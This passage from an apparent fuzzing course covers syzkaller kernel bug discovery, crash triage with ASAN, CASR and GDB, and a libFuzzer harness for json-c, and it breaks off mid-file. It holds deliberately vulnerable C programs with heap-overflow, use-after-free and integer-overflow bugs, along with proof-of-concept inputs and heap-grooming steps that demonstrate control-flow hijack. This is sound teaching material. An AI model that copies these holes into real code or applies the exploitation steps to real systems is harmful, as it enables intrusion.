\u003Clinux\u002Fnetfilter\u002Fnf_tables.h>\n\nint main(void) {\n    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);\n\n    \u002F\u002F Create table\n    send_nft_msg(fd, NFT_MSG_NEWTABLE, ...);\n\n    \u002F\u002F Create chain with stateful expression\n    send_nft_msg(fd, NFT_MSG_NEWCHAIN, ...);\n\n    \u002F\u002F Trigger UAF through rule update\n    send_nft_msg(fd, NFT_MSG_NEWRULE, ...);\n\n    return 0;\n}\n```\n\n**Impact**: Local privilege escalation from any user to root on systems with unprivileged user namespaces (default on Ubuntu, Debian). Public exploit available within weeks.\n\n**Case Study - CVE-2023-32629 (Linux Netfilter Race Condition)**:\n\n- **Target**: `net\u002Fnetfilter\u002Fnf_tables_api.c` - Same subsystem, different bug\n- **Bug Class**: Race condition in batch transaction handling\n- **Discovery**: Syzkaller's multi-threaded syscall fuzzing\n- **Impact**: Container escape + privilege escalation\n\n**How Syzkaller Finds Race Conditions**:\n\n```bash\n# Syzkaller executes syscalls in parallel across multiple threads\n# VM 1, Thread 1:\nsocket(AF_NETLINK, ...) → fd1\nsendmsg(fd1, NFT_MSG_NEWTABLE, ...)\n\n# VM 1, Thread 2 (simultaneous):\nsocket(AF_NETLINK, ...) → fd2\nsendmsg(fd2, NFT_MSG_NEWTABLE, ...)  # Race on same table\n\n# Result: Concurrent access to nf_tables objects without proper locking\n# KASAN detects: use-after-free or memory corruption\n```\n\n**Syzkaller's Advantages for Kernel Fuzzing**:\n\n1. **Syscall descriptions**: Domain-specific language for kernel APIs\n2. **Coverage-guided**: Tracks code coverage to explore new paths\n3. **Multi-threaded**: Finds race conditions naturally\n4. **VM-based isolation**: Kernel crashes don't affect fuzzer\n5. **Reproducers**: Automatic generation of minimal C reproducers\n6. **Bisection**: Automatically finds introducing commit\n\n**Analyzing a Syzkaller Bug**:\n\n```bash\n# Download reproducer from dashboard\nmkdir -p ~\u002Ftuts\u002Fsyz-repro && cd ~\u002Ftuts\u002Fsyz-repro\nwget \"https:\u002F\u002Fsyzkaller.appspot.com\u002Ftext?tag=ReproC&x=15ad9542580000\" -O repro.c\n\n# Compile and test on vulnerable kernel\ngcc -pthread -o repro repro.c\n.\u002Frepro\n\n# Expected: Segmentation Fault\n# Kernel log shows UBSAN: array-index-out-of-bounds\n\n# Analyze how it got identified:\nhttps:\u002F\u002Fsyzkaller.appspot.com\u002Fbug?extid=77026564530dbc29b854\n```\n\n**Key Insight**: Kernel attack surface is massive. Syzkaller's systematic approach finds bugs that would take years of manual testing.\n\n### Key Takeaways\n\n1. **Syzkaller revolutionized kernel security**: Found 4,500+ bugs that manual testing missed\n2. **Syscall fuzzing requires domain knowledge**: Must understand kernel APIs to fuzz effectively\n3. **Race conditions need parallel execution**: Multi-threaded fuzzing essential\n4. **VM isolation is critical**: Kernel crashes would kill the fuzzer otherwise\n5. **Reproducers enable fixing**: Minimal C programs allow developers to debug quickly\n\n### Discussion Questions\n\n1. Why has syzkaller found thousands of kernel bugs that years of production use didn't reveal?\n2. How does syzkaller's syscall description language enable effective kernel fuzzing?\n3. What makes race condition detection particularly valuable in kernel fuzzing?\n4. Why are networking subsystems (netfilter, inet) the most frequent sources of vulnerabilities?\n5. How do user namespaces make kernel vulnerabilities more dangerous by increasing exploitability?\n\n## Day 6: Crash Analysis and Exploitability Assessment\n\n- **Goal**: Understand crash triage, root cause analysis, and exploitability assessment for fuzzer-discovered bugs.\n- **Activities**:\n  - _Reading_:\n    - \"Fuzzing for Software Security Testing and Quality Assurance\" by Ari Takanen (Sections 6.1 to 6.6.6)\n    - \"The Art of Software Security Assessment\" Chapter 5 and 6\n  - _Online Resources_:\n    - [AddressSanitizer Documentation](https:\u002F\u002Fclang.llvm.org\u002Fdocs\u002FAddressSanitizer.html)\n    - [CASR - Crash Analysis and Severity Report](https:\u002F\u002Fgithub.com\u002Fispras\u002Fcasr\u002Fblob\u002Fmaster\u002Fdocs\u002Fusage.md)\n    - [OSS-Fuzz Guide](https:\u002F\u002Fgoogle.github.io\u002Foss-fuzz\u002Fadvanced-topics\u002Freproducing\u002F)\n  - _Real-World Context_:\n    - [Exploitability Ratings](https:\u002F\u002Fwww.cisa.gov\u002Fknown-exploited-vulnerabilities)\n    - [Crash Accumulation During Fuzzing with CASR](https:\u002F\u002Fsydr-fuzz.github.io\u002Fpapers\u002Fcrash-accumulation.pdf)\n    - [Effective Fuzzing Harness](https:\u002F\u002Fsrlabs.de\u002Fblog\u002Funlocking-secrets-effective-fuzzing-harness)\n  - _Concepts_:\n    - Crash deduplication and bucketing\n    - Root cause analysis from stack traces\n    - Exploitability classification\n    - ASAN report interpretation\n    - Building proof-of-concept exploits\n\n### Understanding Crash Analysis Tools\n\n```bash\n# Install crash analysis toolkit\nsudo apt update\nsudo apt install -y gdb python3-pip valgrind binutils\n\n# Install GEF (GDB Enhanced Features) - if you haven't done so already\n#wget -O ~\u002F.gdbinit-gef.py -q https:\u002F\u002Fgef.blah.cat\u002Fpy\n#echo \"source ~\u002F.gdbinit-gef.py\" >> ~\u002F.gdbinit\n\n# Install CASR (Crash Analysis and Severity Report) and rust if you haven't already\n#curl --proto '=https' --tlsv1.2 -sSf \"https:\u002F\u002Fsh.rustup.rs\" | sh\n#source ~\u002F.cargo\u002Fenv\ncargo install casr\n\n# Verify installations\ncasr-san --help | head -5\n```\n\n### Case Study 1: Analyzing Heap Buffer Overflow\n\n**Scenario**: Fuzzing discovered a crash in an image parser. Let's perform complete analysis.\n\n```bash\n# Create sample vulnerable image parser\nmkdir -p ~\u002Fcrash_analysis\u002Fcase1_heap_overflow && cd ~\u002Fcrash_analysis\u002Fcase1_heap_overflow\n\ncat > vuln_parser.c \u003C\u003C 'EOF'\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n#include \u003Cstdint.h>\n\nvoid build_huffman_table(uint8_t *input, size_t size) {\n    if (size \u003C 8) return;\n\n    uint32_t table_size = *(uint32_t*)input;\n    uint8_t *codes = input + 4;\n\n    uint8_t *table = malloc(256);\n\n    \u002F\u002F VULNERABILITY: No bounds check on table_size\n    \u002F\u002F Can write beyond 256-byte buffer\n    memcpy(table, codes, table_size);  \u002F\u002F Heap buffer overflow!\n\n    printf(\"Built Huffman table with %u codes\\n\", table_size);\n\n    free(table);\n}\n\nint main(int argc, char **argv) {\n    if (argc \u003C 2) return 1;\n\n    FILE *f = fopen(argv[1], \"rb\");\n    if (!f) return 1;\n\n    fseek(f, 0, SEEK_END);\n    size_t size = ftell(f);\n    fseek(f, 0, SEEK_SET);\n\n    uint8_t *data = malloc(size);\n    fread(data, 1, size, f);\n    fclose(f);\n\n    build_huffman_table(data, size);\n\n    free(data);\n    return 0;\n}\nEOF\n\n# Compile with ASAN for detailed crash reports\nclang-19 -g -O0 -fsanitize=address -o vuln_parser_asan vuln_parser.c\n\n# Create crashing input (table_size = 512, overflows 256-byte buffer)\npython3 \u003C\u003C 'EOF'\nimport struct\n# table_size = 512 (causes 256-byte overflow)\npayload = struct.pack('\u003CI', 512)\npayload += b'A' * 512\nwith open('crash_heap_overflow.bin', 'wb') as f:\n    f.write(payload)\nEOF\n\n# Run and capture ASAN output\n.\u002Fvuln_parser_asan crash_heap_overflow.bin 2>&1 | tee asan_crash.log\n```\n\n**ASAN Output Analysis**:\n\n```\n==37160==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000140 at pc 0x56d6a37d0f62 bp 0x7ffd9f024440 sp 0x7ffd9f023c00\nWRITE of size 512 at 0x511000000140 thread T0\n    #0 0x56d6a37d0f61 in __asan_memcpy\n    #1 0x56d6a38147f5 in build_huffman_table vuln_parser.c:16:5\n    #2 0x56d6a38148fe in main vuln_parser.c:37:5\n\n0x511000000140 is located 0 bytes after 256-byte region [0x511000000040,0x511000000140)\nallocated by thread T0 here:\n    #0 0x56d6a37d3193 in malloc (vuln_parser_asan+0xcc193) (BuildId: e524ec295f274ddf6e407b3941080060bdfc9d1c)\n    #1 0x56d6a38147df in build_huffman_table vuln_parser.c:12:22\n    #2 0x56d6a38148fe in main vuln_parser.c:37:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (vuln_parser_asan+0xc9f61) (BuildId: e524ec295f274ddf6e407b3941080060bdfc9d1c) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x510ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x510fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x510fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x511000000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x511000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x511000000100: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa\n```\n\n**Interpreting the ASAN Report**:\n\n1. **Bug Type**: `heap-buffer-overflow`\n2. **Operation**: WRITE of size 512\n3. **Location**: `vuln_parser.c:16` in `build_huffman_table()`\n4. **Allocation**: 256-byte buffer at line 12\n5. **Overflow**: Writing 512 bytes into 256-byte buffer = 256 bytes overflow\n\n**Root Cause Analysis**:\n\n```bash\n# View the vulnerable code with context\ncat -n vuln_parser.c | sed -n '6,16p'\n#     6  void build_huffman_table(uint8_t *input, size_t size) {\n#     7      if (size \u003C 8) return;\n#     8\n#     9      uint32_t table_size = *(uint32_t*)input;  \u002F\u002F ATTACKER CONTROLLED\n#    10      uint8_t *codes = input + 4;\n#    11\n#    12      uint8_t *table = malloc(256);             \u002F\u002F Fixed 256 bytes\n#    13\n#    14      \u002F\u002F VULNERABILITY: No bounds check on table_size\n#    15      \u002F\u002F Can write beyond 256-byte buffer\n#    16      memcpy(table, codes, table_size);         \u002F\u002F Copies attacker-controlled amount!\n```\n\n**Exploitability Assessment**:\n\n```bash\n# Classify crash automatically with CASR (using the ASAN run you captured above)\n#casr-san -o heap_overflow.casrep -- .\u002Fvuln_parser_asan crash_heap_overflow.bin 2>&1 | tee casr_heap_overflow.log\ncasr-san --stdout -- .\u002Fvuln_parser_asan crash_heap_overflow.bin | tee heap_overflow.casrep\n\n# The .casrep and log will contain fields like:\n#   \"Type\": \"EXPLOITABLE\",\n#   \"ShortDescription\": \"heap-buffer-overflow(write)\",\n\n# You can still use GDB for manual inspection of the corrupted heap if you want:\ngdb .\u002Fvuln_parser_asan\n(gdb) run crash_heap_overflow.bin\n```\n\n**Exploitability Classification**: **EXPLOITABLE**\n\n**Reasoning**:\n\n1. **Attacker controls overflow size**: `table_size` from input\n2. **Attacker controls overflow data**: `codes` array content\n3. **Heap corruption possible**: Can overwrite adjacent objects\n4. **Exploitation path**:\n   - Overflow into adjacent heap object\n   - Corrupt function pointer or vtable\n   - Hijack control flow\n   - Execute arbitrary code\n\n**Real-World Example**: Similar to CVE-2023-4863 (libWebP Heap Buffer Overflow) from Week 1.\n\n### Case Study 2: Use-After-Free Analysis\n\n```bash\nmkdir -p ~\u002Fcrash_analysis\u002Fcase2_uaf && cd ~\u002Fcrash_analysis\u002Fcase2_uaf\n\ncat > vuln_uaf.c \u003C\u003C 'EOF'\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n\ntypedef struct {\n    char *name;\n    void (*process)(void);\n} Handler;\n\nvoid default_handler(void) {\n    printf(\"Default handler\\n\");\n}\n\nvoid evil_handler(void) {\n    printf(\"Evil handler executed! Code execution via UAF.\\n\");\n}\n\nHandler *handler = NULL;\n\nvoid register_handler(char *name) {\n    handler = malloc(sizeof(Handler));\n    handler->name = strdup(name);\n    handler->process = default_handler;\n}\n\nvoid unregister_handler(void) {\n    if (handler) {\n        free(handler->name);\n        free(handler);\n        \u002F\u002F BUG: Should set handler = NULL here!\n    }\n}\n\nvoid attacker_groom_heap(void) {\n    for (int i = 0; i \u003C 1000; i++) {\n        Handler *fake = malloc(sizeof(Handler));\n        fake->name = \"pwned\";\n        fake->process = evil_handler;\n    }\n}\n\nvoid call_handler(void) {\n    if (handler) {\n        handler->process();\n    }\n}\n\nint main(int argc, char **argv) {\n    register_handler(\"test\");\n    unregister_handler();\n    attacker_groom_heap();\n    call_handler();\n\n    return 0;\n}\nEOF\n\n# Compile with ASAN\nclang-19 -g -O0 -fsanitize=address -o vuln_uaf_asan vuln_uaf.c\n\n# Run and capture output\n.\u002Fvuln_uaf_asan 2>&1 | tee uaf_crash.log\n```\n\n**ASAN Output**:\n\n```\n=================================================================\n==38664==ERROR: AddressSanitizer: heap-use-after-free on address 0x502000000010 at pc 0x617b2245a953 bp 0x7ffe92f7c160 sp 0x7ffe92f7c158\nREAD of size 8 at 0x502000000010 thread T0\n    #0 0x617b2245a952 in call_handler vuln_uaf.c:44:50\n    #1 0x617b2245a9d0 in main vuln_uaf.c:53:5\n\n0x502000000010 is located 0 bytes inside of 16-byte region [0x502000000010,0x502000000020)\nfreed by thread T0 here:\n    #1 0x617b2245a86a in unregister_handler vuln_uaf.c:29:9\n    #2 0x617b2245a9c6 in main vuln_uaf.c:51:5\n\npreviously allocated by thread T0 here:\n    #1 0x617b2245a7a5 in register_handler vuln_uaf.c:21:15\n    #2 0x617b2245a9c1 in main vuln_uaf.c:50:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free vuln_uaf.c:44:50 in call_handler\nShadow bytes around the buggy address:\n  0x501ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x502000000000: fa fa[fd]fd fa fa fd fa fa fa 00 00 fa fa 00 00\n```\n\n**Exploitability Assessment**:\n\n```bash\n# Classify crash with CASR again (now for a UAF instead of overflow)\ncasr-san --stdout -- .\u002Fvuln_uaf_asan 2>&1 | tee uaf.casrep\n\n# The report will highlight:\n#   - Bug class: heap-use-after-free\n#   - Severity: \"NOT_EXPLOITABLE\"\n#   - Reason: ASan instruments the READ of the function pointer *before* the call.\n#     Since it's a read from freed memory, CASR defaults to \"Not Exploitable\".\n#\n#     This is a critical lesson: Automated tools are heuristics.\n#     A human analyst sees \"Read of function pointer from freed memory\" -> Critical.\n\n# To prove exploitability, we would need to:\n# 1. Bypass ASan quarantine (so memory is reallocated\u002Fvalid)\n# 2. Overwrite with a bad pointer\n# 3. Trigger the crash on the JUMP (SEGV), not the UAF read.\n#\n# For now, trust your manual analysis: Controlling a function pointer is exploitable.\n\n# For deeper debugging, verify the exploit manually in GDB:\n# NOTE: You must disable ASan quarantine to allow the freed chunk to be reused!\n# Otherwise, malloc() will return a new address, and handler->process will still be old\u002Fgarbage.\nexport ASAN_OPTIONS=detect_leaks=0:quarantine_size_mb=0\n\ngdb .\u002Fvuln_uaf_asan\n(gdb) break vuln_uaf.c:44   # Break at call_handler (before crash)\n(gdb) run\n(gdb) p handler\n# $1 = (Handler *) 0x...\n\n(gdb) p *handler\n# With quarantine=0, you should see:\n# name = \"pwned\"\n# process = \u003Cevil_handler>\n\n(gdb) p handler->process\n# Should point to evil_handler\n\n(gdb) continue\n# Execution should flow to evil_handler() (or crash if ASan still catches the shadow marker)\n\n```\n\n**Exploitability Classification**: **EXPLOITABLE** (Verified via manual analysis)\n\n> [!NOTE]: Automated tools like CASR may label this `NOT_EXPLOITABLE` because ASan instruments the function pointer _read_ before the call. Manual verification (as shown above) proves control flow hijack is possible.\n\n**Exploitation Strategy**:\n\n1. **Heap grooming**: Allocate\u002Ffree to position objects\n2. **Reclaim freed memory**: Allocate object of same size (requires bypassing ASan quarantine in lab)\n3. **Control freed memory contents**: Fill with attacker data\n4. **Trigger UAF**: Call `call_handler()`\n5. **Function pointer hijack**: `handler->process` points to attacker-controlled address\n6. **Result**: Arbitrary code execution\n\n**Real-World Example**: Similar to CVE-2024-2883 (Chrome ANGLE UAF) from Week 1.\n\n### Case Study 3: Integer Overflow Leading to Heap Corruption\n\n```bash\nmkdir -p ~\u002Fcrash_analysis\u002Fcase3_integer_overflow && cd ~\u002Fcrash_analysis\u002Fcase3_integer_overflow\n\ncat > vuln_intoverflow.c \u003C\u003C 'EOF'\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n#include \u003Cstdint.h>\n\nvoid process_image(uint32_t width, uint32_t height, uint8_t *data) {\n    size_t pixel_count = width * height;\n    size_t buffer_size = pixel_count * 4;\n\n    printf(\"Allocating %zu bytes for %ux%u image\\n\", buffer_size, width, height);\n\n    uint8_t *buffer = malloc(buffer_size);\n\n    for (size_t i = 0; i \u003C (size_t)width * height; i++) {\n        \u002F\u002F WRITES out of bounds immediately\n        \u002F\u002F Use modulo to avoid reading out of bounds of 'data'\n        buffer[i * 4] = data[i % 1024];\n    }\n\n    free(buffer);\n}\n\nint main(int argc, char **argv) {\n    \u002F\u002F Attacker-controlled dimensions\n    uint32_t width = 0x10000;   \u002F\u002F 65536\n    uint32_t height = 0x10000;  \u002F\u002F 65536\n\n    uint8_t fake_data[1024];\n    memset(fake_data, 'A', sizeof(fake_data));\n\n    process_image(width, height, fake_data);\n\n    return 0;\n}\nEOF\n\n# Compile with ASAN and UBSAN\nclang-19 -g -O0 -fsanitize=address,unsigned-integer-overflow -o vuln_int_asan vuln_intoverflow.c\n\n# Run\n.\u002Fvuln_int_asan 2>&1 | tee intoverflow_crash.log\n```\n\n**Analysis**:\n\n```\nvuln_intoverflow.c:7:32: runtime error: unsigned integer overflow: 65536 * 65536 cannot be represented in type 'uint32_t' (aka 'unsigned int')\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior vuln_intoverflow.c:7:32\n=================================================================\n==39011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000014 at pc 0x5fa5104bd933 bp 0x7ffd7d3885a0 sp 0x7ffd7d388598\nWRITE of size 1 at 0x502000000014 thread T0\n    #0 0x5fa5104bd932 in process_image vuln_intoverflow.c:17:23\n    #1 0x5fa5104bdad0 in main vuln_intoverflow.c:31:5\n\n0x502000000014 is located 3 bytes after 1-byte region [0x502000000010,0x502000000011)\nallocated by thread T0 here:\n    #1 0x5fa5104bd7fc in process_image vuln_intoverflow.c:12:23\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow vuln_intoverflow.c:17:23 in process_image\nShadow bytes around the buggy address:\n  0x501ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x502000000000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa\n\n```\n\n**Root Cause**:\n\n1. **Integer Overflow**: `width * height` overflows 32-bit integer range, wrapping to 0.\n2. **Under-allocation**: `malloc(0)` allocates a tiny chunk.\n3. **Logic Mismatch**: Loop uses proper 64-bit bounds (or nested loops), iterating 4 billion times.\n4. **Heap Corruption**: Loop writes far beyond the allocated chunk.\n\n**Exploitability Assessment**:\n\n```bash\n# Classify crash with CASR\n# Note: UBSAN might print an error first, but ASAN catches the memory corruption\ncasr-san --stdout -- .\u002Fvuln_int_asan 2>&1 | tee intoverflow.casrep\n\n# The report will highlight:\n#    \"Type\": \"EXPLOITABLE\",\n#    \"ShortDescription\": \"heap-buffer-overflow(write)\",\n#    \"Description\": \"Heap buffer overflow\",\n\n# Verify manually in GDB:\ngdb .\u002Fvuln_int_asan\n(gdb) break vuln_intoverflow.c:17   # Break inside the loop\n(gdb) run\n(gdb) p buffer_size\n# $1 = 0\n(gdb) p buffer\n# $2 = (uint8_t *) 0x... (Valid small chunk)\n(gdb) x\u002F4gx buffer\n# Check adjacent memory (likely metadata or other chunks)\n(gdb) step\n# Watch the write to buffer[0] corrupting the heap\n(gdb) continue\n```\n\n**Exploitability Classification**: **EXPLOITABLE**\n\n**Exploitation Strategy**:\n\n1. **Heap Grooming**: Allocate a sensitive object (e.g., a structure with a function pointer) immediately after the vulnerable 0-byte allocation.\n2. **Trigger Overflow**: Send input with dimensions `0x10000 * 0x10000` to cause integer overflow -> `malloc(0)`.\n3. **Overwrite**: The loop writes attacker data (`fake_data`) into the adjacent sensitive object.\n4. **Hijack**: Trigger the use of the corrupted object (e.g., call the function pointer).\n\n### Building Proof-of-Concept Exploits\n\n#### Heap Overflow Example\n\n```bash\ncd ~\u002Fcrash_analysis\u002Fcase1_heap_overflow\ncat > buf_ov.py \u003C\u003C 'EOF'\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# POC for heap buffer overflow in vuln_parser\n\nimport struct\n\ndef craft_overflow_input():\n    \"\"\"Create input that causes a massive overflow\"\"\"\n    # Target allocates 256 bytes. We claim size is 512.\n    table_size = 512\n\n    # Structure: [Size (4 bytes)] [Data (512 bytes)]\n    payload = struct.pack('\u003CI', table_size)\n    payload += b'A' * table_size\n\n    return payload\n\nwith open('poc_exploit.bin', 'wb') as f:\n    f.write(craft_overflow_input())\n\nprint(\"[+] Created poc_exploit.bin\")\nprint(\"[+] Run the ASan build for diagnostics or the no-sanitizer build for raw exploitation.\")\nEOF\npython3 buf_ov.py\n# Diagnostic run (shows detailed ASan report)\n.\u002Fvuln_parser_asan poc_exploit.bin\n\n# Realistic exploit run (no sanitizers, glibc notices corrupted heap metadata)\nclang-19 -g -O0 -o vuln_parser_nosan vuln_parser.c\nMALLOC_CHECK_=0 .\u002Fvuln_parser_nosan poc_exploit.bin\n```\n\n#### Use-After-Free Example\n\n```bash\ncd ~\u002Fcrash_analysis\u002Fcase2_uaf\n\n# Build a runtime version without sanitizers (ensures freed chunks are reused immediately)\nclang-19 -g -O0 -o vuln_uaf_nosan vuln_uaf.c\n\n# Optional: keep the ASan build for triage but disable quarantine to watch exploitation\n# ASAN_OPTIONS=quarantine_size_mb=0 .\u002Fvuln_uaf_asan\n\n# Execute the no-sanitizer build to watch the hijacked handler fire\n.\u002Fvuln_uaf_nosan\n```\n\nExpected console output:\n\n```\nEvil handler executed! Code execution via UAF.\n```\n\nTo force an outright crash (showing instruction-pointer control), change the spray in `attacker_groom_heap()` to:\n\n```c\nfake->process = (void (*)(void))0x4141414141414141ULL;\n```\n\nRunning `.\u002Fvuln_uaf_nosan` now ends with a segfault at `0x4141414141414141`, demonstrating control-flow hijack without AddressSanitizer interfering.\n\n### Key Takeaways\n\n1. **Sanitized vs non-sanitized builds**: Use ASan\u002FUBSan\u002FKASAN builds for **triage and root-cause**, then switch to **no-sanitizer builds** (with knobs like `ASAN_OPTIONS` or `MALLOC_CHECK_`) to study realistic heap behavior and exploitation.\n2. **Automated ratings are heuristics**: CASR’s `Type`\u002F`Severity` fields are a **starting point only**; Case Study 2 showed a UAF rated `NOT_EXPLOITABLE` even though a function pointer hijack is clearly possible.\n3. **Crash location vs root cause**: Tools often stop at the **first invalid access** (e.g., a read from freed memory) while the real exploit primitive (e.g., control-flow hijack) may be one instruction later.\n4. **Exploitability hinges on control**: In all three case studies, exploitation becomes realistic when the attacker controls **sizes (length, dimensions) and data** that drive allocation and memory writes.\n5. **Systematic PoC development**: The path is always _fuzz → crash → triage (ASan + CASR) → root cause → minimal reproducer → exploit PoC (heap metadata or function pointer overwrite)_.\n\n### Discussion Questions\n\n1. In your own workflow, when would you prefer to keep AddressSanitizer enabled, and when would you switch to a no-sanitizer build while evaluating exploitability?\n2. How could CASR’s `NOT_EXPLOITABLE` rating for the UAF case mislead a less experienced analyst, and what manual checks (in GDB) prevent that mistake?\n3. In the integer-overflow case, which variables and addresses would you inspect in GDB to confirm both under-allocation and the ensuing heap overwrite?\n4. How does the exact crash site (e.g., first invalid read vs later jump through a corrupted function pointer) change your assessment of exploitability and which tools notice it?\n5. How do modern mitigations (ASLR, DEP, hardened allocators, CFI) interact with the exploitation strategies you used in Case Studies 1–3, and what extra steps would be needed in a real target?\n\n### Further Reading\n\n#### Blog Posts and Case Studies\n\n- [Leveling Up Fuzzing: Finding more vulnerabilities with AI ](https:\u002F\u002Fsecurity.googleblog.com\u002F2024\u002F11\u002Fleveling-up-fuzzing-finding-more.html)\n- [AFL Success Stories](https:\u002F\u002Flcamtuf.blogspot.com\u002F2014\u002F11\u002Fafl-fuzz-nobody-expects-cdata-sections.html)\n- [5 CVEs Found with Feedback-Based Fuzzing](https:\u002F\u002Fwww.code-intelligence.com\u002Fblog\u002F5-cves-found-with-feedback-based-fuzzing)\n- [Syzkaller: Finding Bugs in the Linux Kernel](https:\u002F\u002Flwn.net\u002FArticles\u002F677764\u002F)\n- [OpenSSL Fuzzing Guide](https:\u002F\u002Fwww.openssl.org\u002Fdocs\u002Fman3.3\u002Fman7\u002Fossl-guide-fuzzing.html)\n- [Slice: SAST + LLM Interprocedural Context Extractor](https:\u002F\u002Fnoperator.dev\u002Fposts\u002Fslice\u002F) - Using build-free CodeQL + Tree-Sitter + GPT‑5 to triage ~1700 static UAF candidates in the Linux kernel down to a single real bug (CVE-2025-37778), a good complement to fuzzing-based crash triage.\n\n#### Practice Targets\n\n- [Fuzzing-Module](https:\u002F\u002Fgithub.com\u002Falex-maleno\u002FFuzzing-Module) - Learning exercises\n- [Damn Vulnerable C Program](https:\u002F\u002Fgithub.com\u002Fhardik05\u002FDamn_Vulnerable_C_Program) - Vulnerable code for practice\n\n## Day 7: Fuzzing Harness Development and Real-World Campaigns\n\n- **Goal**: Learn to write effective fuzzing harnesses and understand real-world fuzzing campaigns.\n- **Activities**:\n  - _Reading_:\n    - [libFuzzer Tutorial](https:\u002F\u002Fgithub.com\u002Fgoogle\u002Ffuzzing\u002Fblob\u002Fmaster\u002Ftutorial\u002FlibFuzzerTutorial.md)\n    - [OSS-Fuzz Integration Guide](https:\u002F\u002Fgoogle.github.io\u002Foss-fuzz\u002Fgetting-started\u002Fnew-project-guide\u002F)\n  - _Online Resources_:\n    - [Fuzzing Harness Examples](https:\u002F\u002Fgithub.com\u002Fgoogle\u002Ffuzzing\u002Ftree\u002Fmaster\u002Ftutorial)\n    - [ClusterFuzz](https:\u002F\u002Fgoogle.github.io\u002Fclusterfuzz\u002F) - Continuous fuzzing infrastructure\n  - _Concepts_:\n    - Harness design principles\n    - In-process vs out-of-process fuzzing\n    - Persistent mode optimization\n    - Seed corpus curation\n    - Continuous fuzzing integration\n\n### What is a Fuzzing Harness?\n\nA fuzzing harness is the code that:\n\n1. Receives fuzzer-generated input\n2. Prepares that input for the target API\n3. Calls the target functionality\n4. Handles errors\u002Fcleanup\n\n**Example - Bad Harness vs Good Harness**:\n\n```cpp\n\u002F\u002F BAD HARNESS: Slow, inefficient\nint main(int argc, char **argv) {\n    FILE *f = fopen(argv[1], \"rb\");  \u002F\u002F File I\u002FO every iteration!\n    \u002F\u002F ... read file ...\n    \u002F\u002F ... call target API ...\n    fclose(f);\n    return 0;\n}\n\n\u002F\u002F GOOD HARNESS: Fast, in-process\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    \u002F\u002F Direct memory buffer, no I\u002FO\n    \u002F\u002F Called thousands of times per second in same process\n    target_api(data, size);\n    return 0;\n}\n```\n\n### Case Study: Writing Harness for JSON Parser\n\n**Target**: json-c library (real-world JSON parser)\n\n```bash\nmkdir -p ~\u002Fharness_dev && cd ~\u002Fharness_dev && mkdir json_harness && cd json_harness\n\n# Clone json-c\ngit clone --depth 1 https:\u002F\u002Fgithub.com\u002Fjson-c\u002Fjson-c.git\n\ncd ~\u002Fharness_dev\u002Fjson_harness\u002Fjson-c\nexport CC=clang-19\nexport CXX=clang++-19\nexport CFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,address -g -O1\"\nexport CXXFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,address -g -O1\"\ncmake -DBUILD_SHARED_LIBS=OFF .\u002F\nmake -j$(nproc)\n\ncd ~\u002Fharness_dev\u002Fjson_harness\n\n# Create fuzzing harness\ncat > fuzz_parse.c \u003C\u003C 'EOF'\n#include \u003Cjson-c\u002Fjson.h>\n#include \u003Cstdint.h>\n#include \u003Cstddef.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    const char *data1 = (const char *)data;\n    json_tokener *tok = json_tokener_new();\n    json_object *obj = json_tokener_parse_ex(tok, data1, size);\n\n    if (obj) {\n        \u002F\u002F Exercise different API functions to increase coverage\n        json_object_to_json_string_ext(obj, JSON_C_TO_STRING_PRETTY | JSON_C_TO_STRING_SPACED);\n\n        if (json_object_is_type(obj, json_type_object)) {\n            json_object_object_foreach(obj, key, val) {\n                (void)json_object_get_type(val);\n                (void)json_object_get_string(val);\n            }\n        }\n\n        if (json_object_is_type(obj, json_type_array)) {\n            size_t len = json_object_array_length(obj);\n            for (size_t i = 0; i \u003C len; i++) {\n                json_object_array_get_idx(obj, i);\n            }\n        }\n\n        json_object_put(obj);\n    }\n\n    json_tokener_free(tok);\n    return 0;\n}\nEOF\n\n# Compile with libFuzzer\nclang-19 -g -fsanitize=address,fuzzer \\\n    -fno-sanitize-coverage=trace-cmp \\\n    -I. -Ijson-c \\\n    fuzz_parse.c \\\n    json-c\u002Flibjson-c.a \\\n    -o fuzz_json\n\n# Create seed corpus\nmkdir -p corpus\ncat > corpus\u002Fvalid1.json \u003C\u003C 'EOF'\n{\"name\": 